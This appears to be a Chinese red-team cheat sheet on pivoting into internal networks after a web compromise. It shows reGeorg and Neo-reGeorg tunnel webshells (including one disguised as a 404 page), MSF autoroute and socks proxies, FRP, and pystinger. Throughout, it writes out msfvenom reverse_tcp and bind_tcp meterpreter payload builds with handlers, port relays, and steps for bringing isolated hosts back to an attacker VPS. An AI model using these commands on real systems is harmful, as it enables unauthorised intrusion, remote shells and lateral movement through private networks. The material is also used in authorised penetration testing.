代理工具
正向代理:利用代理服务器访问其他服务器
反向代理:服务端利用反向代理服务器组成局域网,通过代理服务器统一转发数据
ReGeorg工具
下载地址:https://github.com/sensepost/reGeorg
ReGeorg 主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路
用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口
它利用 webshell 建立一个 socks代理 进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种
reGeorg分为服务端和客户端,两部分组成。服务端有:php、aspx、jsp、node.js等多个版本,客户端则由python编写
$ reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u [-v]
Socks server for reGeorg HTTP(s) tunneller
optional arguments:
-h, --help show this help message and exit
-l , --listen-on The default listening address
-p , --listen-port The default listening port
-r , --read-buff Local read buffer, max data to be sent per POST
-u , --url The url containing the tunnel script
-v , --verbose Verbose output[INFO|DEBUG]
python2 reGeorgSocksProxy.py -u http://172.16.12.2/socks.php -p 9999 -l 0.0.0.0
Neo-ReGeorg
下载地址:https://github.com/L-codes/Neo-reGeorg
Step 1. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器
$ python neoreg.py generate -k password
[+] Create neoreg server files:
=> neoreg_servers/tunnel.jspx
=> neoreg_servers/tunnel_compatibility.jspx
=> neoreg_servers/tunnel.php
=> neoreg_servers/tunnel.ashx
=> neoreg_servers/tunnel.aspx
=> neoreg_servers/tunnel.jsp
=> neoreg_servers/tunnel_compatibility.jsp
Step 2. 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理
$ python3 neoreg.py -k password -u http://xx/tunnel.php
+------------------------------------------------------------------------+
Log Level set to [DEBUG]
Starting socks server [127.0.0.1:1080]
Tunnel at:
http://xx/tunnel.php
+------------------------------------------------------------------------+
注意,如果你的工具,如 nmap 不支持 socks5 代理设置,请使用 proxychains 等
python3 neoreg.py -k password -u http://172.16.12.2/tunnel.php -l 0.0.0.0 -p 9999
高级用法
文件隐藏
支持生成的服务端,默认直接请求响应指定的页面内容 (如伪装的 404 页面)
python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
python neoreg.py -k <you_password> -u <server_url> --skip
python3 neoreg.py -u http://172.16.12.2/tunnel.php -k password -l 0.0.0.0 -p 9999 --skip
如服务端 WEB,需要设置代理才能访问
python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080
如需 Authorization 认证和定制的 Header 或 Cookie
python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )
python neoreg.py -k <you_password> -u <url> -t <ip:port>
python3 neoreg.py -u http://172.16.12.2/tunnel.php -k password -t 10.10.10.115:80 -l 0.0.0.0 -p 6666 --skip
MSF
利用MSF搭建socks代理
在上线的session上运行
run autoroute -s 10.10.10.0/24 #通过上线的session添加去往10.10.10.0网段的路由
use auxiliary/server/socks_proxy
run -i -j #在kali搭建socks5代理服务 默认在0.0.0.0的1080端口
让内网windows 10.10.10.116上线MSF
msfvenom -p windows/x64/meterpreter/bind_tcp lport=6666 -f exe -o bind.exe
handler -H 10.10.10.116 -P 6666 -p windows/x64/meterpreter/bind_tcp
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.111 lport=6666 -f exe -o rev.exe
handler -H 0.0.0.0 -P 6666 -p windows/x64/meterpreter/reverse_tcp
边界机运行 portmap -m 1 -p1 6666 -h2 172.16.12.160 -p2 6666
CS
让内网windows 10.10.10.116上线CS
生成时监听器选择host 10.10.10.111 port 8888
边界机运行 portmap -m 1 -p1 8888 -h2 172.16.12.187 -p2 8888
stage stageless 均可上线,建议生成stageless
FRP
frp搭建socks|http代理
配置frpc.ini文件以下内容
[plugin_socks5]
type = tcp
remote_port = 6005 #指定socks5服务的端口号
plugin = socks5 #指定使用socks5的插件搭建socks5代理服务
pystinger
下载地址:https://github.com/FunnyWolf/pystinger
proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp
可以访问,页面返回 UTF-8
将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe
启动服务端
windows upload stinger_server.exe execute
start /b stinger_server.exe
linux upload stinger_server execute bash 1.sh
./stinger_server &
攻击机kali执行
./stinger_client -w http://172.16.12.2/uploadfiles/proxy.php -l 0.0.0.0 -p 6666
pystinger搭建socks4的代理
vim /etc/proxychains4.conf
# 最后一行添加配置
socks4 127.0.0.1 6666
proxychains rdesktop 192.168.10.49
利用pystinger工具让内网机器出网上线CS|MSF
场景:
通过web漏洞拿下一台服务器100.100.100.100:80
,有web服务,并已getshell,但是它默认不出网(ping|dns|nc都不出网)仅能通过外网IP映射的端口访问(边界路由或防火墙进行端口映射将100.100.100.100的80端口映射进内网某个IP地址的80端口)
利用webshell执行ifconfig|ipconfig,得到IP地址为内网IP
通过regeorg+neo-regeorg(端口转发功能) 搭建http隧道建立socks代理,通过代理进内网,攻击内网应用服务器。
通过pystinger搭建socks代理,亦可利用内网不出网机器(服务端)先开启开启60010,60020两个端口,上线时使用60020端口将内网流量带出到外网VPS(stinger客户端)上。
内网不出网机器上线MSF
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.111 lport=60020 -f exe -o rev.exe
handler -H 0.0.0.0 -P 60020 -p windows/x64/meterpreter/reverse_tcp
内网不出网机器上线CS
利用监听生成分阶段和不分阶段均可上线
冰蝎不出网反弹shell
利用冰蝎在webshell工具本地机器上搭建socks代理,攻击内网应用服务器
老版本HTTP隧道工具:https://github.com/nccgroup/ABPTTS (仅支持aspx|jsp)